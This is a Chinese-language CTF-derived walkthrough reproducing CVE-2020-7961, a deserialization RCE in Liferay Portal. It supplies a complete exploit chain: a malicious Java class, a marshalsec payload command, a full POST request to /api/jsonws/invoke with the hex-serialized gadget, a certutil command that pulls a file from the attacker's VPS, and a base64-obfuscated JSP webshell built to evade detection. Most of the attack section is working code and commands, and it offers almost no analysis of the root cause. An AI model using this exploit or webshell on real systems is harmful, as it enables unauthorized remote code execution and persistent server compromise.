CVE-2020-7961 Liferay Portal 反序列化-复现

由DozerCTF2020学习CVE-2020-7961

漏洞说明

Liferay是一个开源的Portal产品,提供对多个独立系统的内容集成,为企业信息、流程等的整合提供了一套完整的解决方案,和其他商业产品相比,Liferay有着很多优良的特性,而且免费,在全球都有较多用户。该漏洞是个反序列化导致的RCE,通过未授权访问其api传递json数据进行反序列化,危害较高

影响范围

Liferay Portal 6.1、6.2、7.0、7.1、7.2

环境搭建

漏洞环境:

windows 10

jre1.8.0_221

jdk1.8.0_221

tomcat集成包:https://github.com/liferay/liferay-portal/releases/tag/7.2.0-ga1 (我用的liferay-ce-portal-tomcat-7.2.0-ga1-20190531153709761.tar.gz)

启动环境

E:\tmp\liferay-ce-portal-tomcat-7.2.0-ga1-20190531153709761\liferay-portal-7.2.0-ga1\tomcat-9.0.17\bin> .\catalina.bat run

访问 http://localhost:8080/ 全部默认配置就可以

img

漏洞利用

思路:构造恶意class文件->构造序列化->反序列化->加载VPS上面恶意evil.class文件->实现下载webshell

构造恶意class文件

在VPS上面创建 LifExp.java(该写法为目标是Windows,运行计算器)->编译class文件

public class LifExp { 
    static { 
        try { 
            String[] cmd = {"cmd.exe", "/c", "calc.exe"};//命令执行
            java.lang.Runtime.getRuntime().
exec(cmd).waitFor(); 
        } catch ( Exception e ) { 
            e.printStackTrace(); 
        } 
    } 
}

使用 javac .\LifExp.java 生成class文件

在当前目录使用 python -m SimpleHTTPServer 8000 监听8000端口启动一个wbe服务

构造序列化

使用 marshalsec-0.0.3-SNAPSHOT-all.jar 文件进行序列化:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson C3P0WrapperConnPool http://你的IP:你的端口/ LifExp

img

构造HTTP数据包

defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource= 后面的值替换为上面选中部分

POST /api/jsonws/invoke HTTP/1.1
Host: 192.168.207.133:8080
Content-Length: 1365
Content-Type: application/x-www-form-urlencoded
Connection: close
 
cmd={"/expandocolumn/add-column":{}}&p_auth=o3lt8q1F&formDate=1585270368703&tableId=1&name=2&type=3&defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400064c6966457870740019687474703a2f2f35392e3131302e3135372e343a383030302f740003466f6f;"}

发包,不出意外会返回500

img

但是计算器是弹出来了;

别看他只是一个小小的计算器,但是他的威力是无穷的,因为你可以弹一万个计算器执行其他命令来对靶机进行攻击,比如下载一个webshell

出网下载webshell

这个得免杀JSPshell,别问,问就是直接给你ban了,之前用一个一句话,除了whoami都不能来事儿。

免杀jspshell地址:https://www.jianshu.com/p/12dce12b2036

VPS上面构造一个txt:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="sun.misc.BASE64Decoder" %>
<%
    if(request.getParameter("cmd")!=null){
        BASE64Decoder decoder = new BASE64Decoder();
        Class rt = Class.forName(new String(decoder.decodeBuffer("amF2YS5sYW5nLlJ1bnRpbWU=")));
        Process e = (Process)
                rt.getMethod(new String(decoder.decodeBuffer("ZXhlYw==")), String.class).invoke(rt.getMethod(new
                        String(decoder.decodeBuffer("Z2V0UnVudGltZQ=="))).invoke(null, new
                        Object[]{}), request.getParameter("cmd") );
        java.io.InputStream in = e.getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

替换编译下面的java:

public class LifExp { 
    static { 
        try { 
        	String[] cmd = {"cmd.exe", "/c", "certutil.exe -urlcache -split -f", "http://IP:端口/jspshell.txt", "..\\webapps\\ROOT\\jspshell.jsp"};
            java.lang.Runtime.getRuntime().
exec(cmd).waitFor(); 
        } catch ( Exception e ) { 
            e.printStackTrace(); 
        } 
    } 
}

第四行,Windows下使用certutil.exe可以实现文件下载,curl功能。

因为当前靶机执行命令的路径是 tomcat\bin 所以我们下载webshell的时候,一定要下载到index.jsp相同路径便于我们访问,也就是 tomcat-9.0.17\webapps\ROOT

执行了命令之后,我们在这个文件夹下面已经可以看到我们的shell了:

img

而这个时候我们已经可以正常访问shell了:

img

?cmd=cmd /c 命令 记得url编码;

如果我们要查看桌面的某个文件,比如一个叫做flag.txt的文件,直接执行 type %userprofile%\desktop\flag*

img

原理剖析

太菜了,不会。

https://www.freebuf.com/column/236744.html

https://www.anquanke.com/post/id/203870

updatedupdated2022-10-302022-10-30